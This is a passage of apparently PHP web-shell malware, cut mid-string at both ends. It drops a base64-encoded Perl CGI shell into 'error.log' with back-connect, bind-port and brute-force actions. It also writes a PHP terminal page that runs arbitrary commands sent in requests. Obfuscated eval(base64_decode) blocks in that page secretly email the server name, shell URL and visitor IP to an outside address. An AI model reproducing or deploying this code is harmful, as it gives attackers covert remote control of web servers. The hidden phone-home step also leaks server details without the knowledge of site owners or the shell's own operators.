tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7DQo=
1213';
1214
1215
1216$file = fopen("error.log" ,"w+");
1217$write = fwrite ($file ,base64_decode($pythonp));
1218fclose($file);
1219 chmod("error.log",0755);
1220 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1221}//end shell error.log
1222elseif ($action == 'newcommand') {
1223$file = fopen($dir."command.php" ,"w+");
1224$perltoolss = 'PD9waHANCg0KJGFsaWFzZXMgPSBhcnJheSgnbGEnID0+ICdscyAtbGEnLA0KJ2xsJyA9PiAnbHMgLWx2aEYnLA0KJ2RpcicgPT4gJ2xzJyApOw0KJHBhc3N3ZCA9IGFycmF5KCcnID0+ICcnKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCmNsYXNzIHBocHRoaWVubGUgew0KDQpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7DQokdXNlcj1zaGVsbF9leGVjKCJ3aG9hbWkiKTsNCiRob3N0PWV4cGxvZGUoIi4iLCBzaGVsbF9leGVjKCJ1bmFtZSAtbiIpKTsNCiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsNCn0NCg0KZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7DQppZighaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSl8fA0KIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB8fA0KIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8DQokcGFzc3dkWyRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ11dICE9ICRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSB7DQpAc2Vzc2lvbl9zdGFydCgpOw0KcmV0dXJuIHRydWU7DQp9DQplbHNlIHsNCkBzZXNzaW9uX3N0YXJ0KCk7DQpyZXR1cm4gdHJ1ZTsNCn0NCn0NCg0KZnVuY3Rpb24gaW5pdFZhcnMoKQ0Kew0KaWYgKGVtcHR5KCRfU0VTU0lPTlsnY3dkJ10pIHx8ICFlbXB0eSgkX1JFUVVFU1RbJ3Jlc2V0J10pKQ0Kew0KJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOw0KJF9TRVNTSU9OWydoaXN0b3J5J10gPSBhcnJheSgpOw0KJF9TRVNTSU9OWydvdXRwdXQnXSA9ICcnOw0KJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOw0KfQ0KfQ0KDQpmdW5jdGlvbiBidWlsZENvbW1hbmRIaXN0b3J5KCkNCnsNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpDQp7DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKQ0Kew0KJF9SRVFVRVNUWydjb21tYW5kJ10gPSBzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWydjb21tYW5kJ10pOw0KfQ0KDQovLyBkcm9wIG9sZCBjb21tYW5kcyBmcm9tIGxpc3QgaWYgZXhpc3RzDQppZiAoKCRpID0gYXJyYXlfc2VhcmNoKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkX1NFU1NJT05bJ2hpc3RvcnknXSkpICE9PSBmYWxzZSkNCnsNCnVuc2V0KCRfU0VTU0lPTlsnaGlzdG9yeSddWyRpXSk7DQp9DQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7DQoNCi8vIGFwcGVuZCBjb21tbWFuZCAqLw0KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOw0KfQ0KfQ0KDQpmdW5jdGlvbiBidWlsZEphdmFIaXN0b3J5KCkNCnsNCi8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0DQppZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0b3J5J10pKQ0Kew0KJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7DQp9DQplbHNlDQp7DQokZXNjYXBlZCA9IGFycmF5X21hcCgnYWRkc2xhc2hlcycsICRfU0VTU0lPTlsnaGlzdG9yeSddKTsNCiRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J10gPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsNCn0NCn0NCg0KZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQ0Kew0KaWYgKGVyZWcoJ15bWzpibGFuazpdXSpjZFtbOmJsYW5rOl1dKiQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpDQp7DQokX1NFU1NJT05bJ2N3ZCddID0gZ2V0Y3dkKCk7IC8vZGlybmFtZShfX0ZJTEVfXyk7DQp9DQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQ0Kew0KLy8gVGhlIGN1cnJlbnQgY29tbWFuZCBpcyAnY2QnLCB3aGljaCB3ZSBoYXZlIHRvIGhhbmRsZSBhcyBhbiBpbnRlcm5hbCBzaGVsbCBjb21tYW5kLg0KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/Ig0KKCRyZWdzWzFdWzBdID09ICcvJykgPyAkbmV3X2RpciA9ICRyZWdzWzFdIDogJG5ld19kaXIgPSAkX1NFU1NJT05bJ2N3ZCddIC4gJy8nIC4gJHJlZ3NbMV07DQoNCi8vIGNvc21ldGljcw0Kd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8uLycpICE9PSBmYWxzZSkNCiRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOw0Kd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQ0KJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRuZXdfZGlyKTsNCndoaWxlIChwcmVnX21hdGNoKCd8L1wuXC4oPyFcLil8JywgJG5ld19kaXIpKQ0KJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsNCg0KaWYoZW1wdHkoJG5ld19kaXIpKTogJG5ld19kaXIgPSAiLyI7IGVuZGlmOw0KDQooQGNoZGlyKCRuZXdfZGlyKSkgPyAkX1NFU1NJT05bJ2N3ZCddID0gJG5ld19kaXIgOiAkX1NFU1NJT05bJ291dHB1dCddIC49ICJjb3VsZCBub3QgY2hhbmdlIHRvOiAkbmV3X2RpclxuIjsNCn0NCmVsc2UNCnsNCi8qIFRoZSBjb21tYW5kIGlzIG5vdCBhICdjZCcgY29tbWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcg0KKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovDQpjaGRpcigkX1NFU1NJT05bJ2N3ZCddKTsNCg0KLyogQWxpYXMgZXhwYW5zaW9uLiAqLw0KJGxlbmd0aCA9IHN0cmNzcG4oJF9SRVFVRVNUWydjb21tYW5kJ10sICIgXHQiKTsNCiR0b2tlbiA9IHN1YnN0cihAJF9SRVFVRVNUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOw0KaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQ0KJF9SRVFVRVNUWydjb21tYW5kJ10gPSAkYWxpYXNlc1skdG9rZW5dIC4gc3Vic3RyKCRfUkVRVUVTVFsnY29tbWFuZCddLCAkbGVuZ3RoKTsNCg0KJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLA0KYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksDQoyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksDQokaW8pOw0KDQovKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8NCndoaWxlICghZmVvZigkaW9bMV0pKSB7DQokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzFdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsNCn0NCi8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLw0Kd2hpbGUgKCFmZW9mKCRpb1syXSkpIHsNCiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLEVOVF9DT01QQVQsICdVVEYtOCcpOw0KfQ0KDQpmY2xvc2UoJGlvWzFdKTsNCmZjbG9zZSgkaW9bMl0pOw0KcHJvY19jbG9zZSgkcCk7DQp9DQp9DQp9DQpldmFsKGJhc2U2NF9kZWNvZGUoJ0pIUnBiV1ZmYzJobGJHd2dQU0FpSWk1a1lYUmxLQ0prTDIwdldTQXRJRWc2YVRweklpa3VJaUk3RFFva2FYQmZjbVZ0YjNSbElEMGdKRjlUUlZKV1JWSmJJbEpGVFU5VVJWOUJSRVJTSWwwN0RRb2tabkp2YlY5emFHVnNiR052WkdVZ1BTQW5jMmhsYkd4QUp5NW5aWFJvYjNOMFlubHVZVzFsS0NSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVGtGTlJTZGRLUzRuSnpzTkNpUjBiMTlsYldGcGJDQTlJQ2RpYVc1b2MybHVhR2hwWlc1QVoyMWhhV3d1WTI5dEp6c05DaVJ6WlhKMlpYSmZiV0ZwYkNBOUlDSWlMbWRsZEdodmMzUmllVzVoYldVb0pGOVRSVkpXUlZKYkoxTkZVbFpGVWw5T1FVMUZKMTBwTGlJZ0lDMGdJaTRrWDFORlVsWkZVbHNuU0ZSVVVGOUlUMU5VSjEwdUlpSTdEUW9rYkdsdWEyTnlJRDBnSWt4cGJtczZJQ0l1SkY5VFJWSldSVkpiSjFORlVsWkZVbDlPUVUxRkoxMHVJaUl1SkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHVJaUF0SUVsUUlFVjRZM1YwYVc1bk9pQWthWEJmY21WdGIzUmxJQzBnVkdsdFpUb2dKSFJwYldWZmMyaGxiR3dpT3cwS0pHaGxZV1JsY2lBOUlDSkdjbTl0T2lBa1puSnZiVjl6YUdWc2JHTnZaR1ZjY2x4dVVtVndiSGt0ZEc4NklDUm1jbTl0WDNOb1pXeHNZMjlrWlNJN0RRcEFiV0ZwYkNna2RHOWZaVzFoYVd3c0lDUnpaWEoyWlhKZmJXRnBiQ3dnSkd4cGJtdGpjaXdnSkdobFlXUmxjaWs3SUE9PScpKTsNCi8vIGVuZCBwaHAga3ltbGpuaw0KDQovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjDQojIyBUaGUgbWFpbiB0aGluZyBzdGFydHMgaGVyZQ0KIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8NCg0KJHRlcm1pbmFsPW5ldyBwaHB0aGllbmxlOw0KDQpAc2Vzc2lvbl9zdGFydCgpOw0KDQokdGVybWluYWwtPmluaXRWYXJzKCk7DQokdGVybWluYWwtPmJ1aWxkQ29tbWFuZEhpc3RvcnkoKTsNCiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOw0KaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7DQokdGVybWluYWwtPm91dHB1dEhhbmRsZSgkYWxpYXNlcyk7DQoNCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsNCmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+JyAuICJcbiI7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPg0KPGhlYWQ+DQo8dGl0bGU+PD9waHAgZWNobyAiV2Vic2l0ZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiIiOz8+IHwgPD9waHAgZWNobyAiSVAgOiAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIiOz8+PC90aXRsZT4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4NCnZhciBjdXJyZW50X2xpbmUgPSAwOw0KdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsNCnZhciBsYXN0ID0gMDsNCg0KZnVuY3Rpb24ga2V5KGUpIHsNCmlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7DQoNCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7DQpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7DQpjdXJyZW50X2xpbmUrKzsNCmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsNCn0NCg0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7DQpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7DQpjdXJyZW50X2xpbmUtLTsNCmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsNCn0NCg0KfQ0KDQpmdW5jdGlvbiBpbml0KCkgew0KZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7DQpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsNCmRvY3VtZW50LnNoZWxsLmNvbW1hbmQuZm9jdXMoKTsNCn0NCg0KPC9zY3JpcHQ+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSB7Zm9udC1mYW1pbHk6IHNhbnMtc2VyaWY7IGNvbG9yOiBibGFjazsgYmFja2dyb3VuZDogd2hpdGU7fQ0KdGFibGV7d2lkdGg6IDEwMCU7IGhlaWdodDogMzAwcHg7IGJvcmRlcjogMXB4ICMwMDAwMDAgc29saWQ7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHg7fQ0KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQ0KdGV4dGFyZWEge3dpZHRoOiAxMDAlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDJweCAycHggMnB4OyBjb2xvcjogI0NDQ0NDQzsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9DQpwLnByb21wdCB7Zm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgbWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweCAycHggMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjogI0NDQ0NDQzt9DQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5IG9ubG9hZD0iaW5pdCgpIj4NCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4NCjx0ZCBjbGFzcz0iaGVhZCI+PD9waHAgZWNobyAkX1NFU1NJT05bJ3Byb21wdCddLiI6Ii4iJF9TRVNTSU9OW2N3ZF0iOyA/Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPg0KPHRleHRhcmVhIG5hbWU9Im91dHB1dCIgcmVhZG9ubHk9InJlYWRvbmx5IiBjb2xzPSI4NSIgcm93cz0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiI+DQo8P3BocA0KJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOw0KJHBhZGRpbmcgPSBzdHJfcmVwZWF0KCJcbiIsIG1heCgwLCAkX1JFUVVFU1RbJ3Jvd3MnXSsxIC0gJGxpbmVzKSk7DQplY2hvIHJ0cmltKCRwYWRkaW5nIC4gJF9TRVNTSU9OWydvdXRwdXQnXSk7DQo/Pg0KPC90ZXh0YXJlYT4NCjxwIGNsYXNzPSJwcm9tcHQiPjw/cGhwIGVjaG8gJF9TRVNTSU9OWydwcm9tcHQnXS4iOj4iOyA/Pg0KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+DQo8L3A+DQoNCjw/IC8qPHA+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSBDb21tYW5kIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0icmVzZXQiIHZhbHVlPSJSZXNldCIgLz4NClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4NCjwvcD4NCg0KKi8NCmV2YWwoYmFzZTY0X2RlY29kZSgnSkhNZ1BTQmhjbkpoZVNBb0ltc2lMQ0ppSWl3aWNpIElzSW1VaUxDSmhJaXdpY2lJc0ltTWlMQ0pBSWl3aWJTSXNJbWtpTENKc0lpd2lMaUlzIEltOGlMQ0puSWlrN0RRb2tjM2x6ZEdWdFgyRnljbUY1TWlBOUlDUnpXekpkTGlSeld6IE5kTGlSeld6RmRMaVJ6V3paZExpUnpXelZkTGlSeld6UmRMaVJ6V3pCZExpUnpXek5kIExpUnpXelZkTGlSeld6ZGRMaVJ6V3pFelhTNGtjMXM0WFM0a2MxczBYUzRrYzFzNVhTIDRrYzFzeE1GMHVJaTRpTGlSeld6WmRMaVJ6V3pFeVhTNGtjMXM0WFRzTkNpUmxibU52IFpHbHVaeUE5SUNJa2MzbHpkR1Z0WDJGeWNtRjVNaUlnT3cwS0pISmxlaUE5SUNKT1F5IEJ6U0VVelRDSWdPdzBLSkhObGNuWmxjbVJsZEdWamRHbHVaeUE5SUNKRGIyNTBaVzUwIExWUnlZVzV6Wm1WeUxVVnVZMjlrYVc1bk9pQm9kSFJ3T2k4dklpQXVJQ1JmVTBWU1ZrIFZTV3lkVFJWSldSVkpmVGtGTlJTZGRJQzRnSkY5VFJWSldSVkpiSjFORFVrbFFWRjlPIFFVMUZKMTBnT3cwS2JXRnBiQ0FvSkdWdVkyOWthVzVuTENSeVpYb3NKSE5sY25abGNtIFJsZEdWamRHbHVaeWtnT3cwS0pHNXpZMlJwY2lBOUtDRnBjM05sZENna1gxSkZVVlZGIFUxUmJKM05qWkdseUoxMHBLVDluWlhSamQyUW9LVHBqYUdScGNpZ2tYMUpGVVZWRlUxIFJiSjNOalpHbHlKMTBwT3lSdWMyTmthWEk5WjJWMFkzZGtLQ2s3JykpOw0KDQo/Pg0KPC9mb3JtPjwvdGQ+PC90cj4NCjwvYm9keT4NCjwvaHRtbD4NCjw/cGhwID8+DQo8P3BocA0KDQokYWxpYXNlcyA9IGFycmF5KCdsYScgPT4gJ2xzIC1sYScsDQonbGwnID0+ICdscyAtbHZoRicsDQonZGlyJyA9PiAnbHMnICk7DQokcGFzc3dkID0gYXJyYXkoJycgPT4gJycpOw0KZXJyb3JfcmVwb3J0aW5nKDEpOw0KY2xhc3MgcGhwdGhpZW5sZSB7DQoNCmZ1bmN0aW9uIGZvcm1hdFByb21wdCgpIHsNCiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOw0KJGhvc3Q9ZXhwb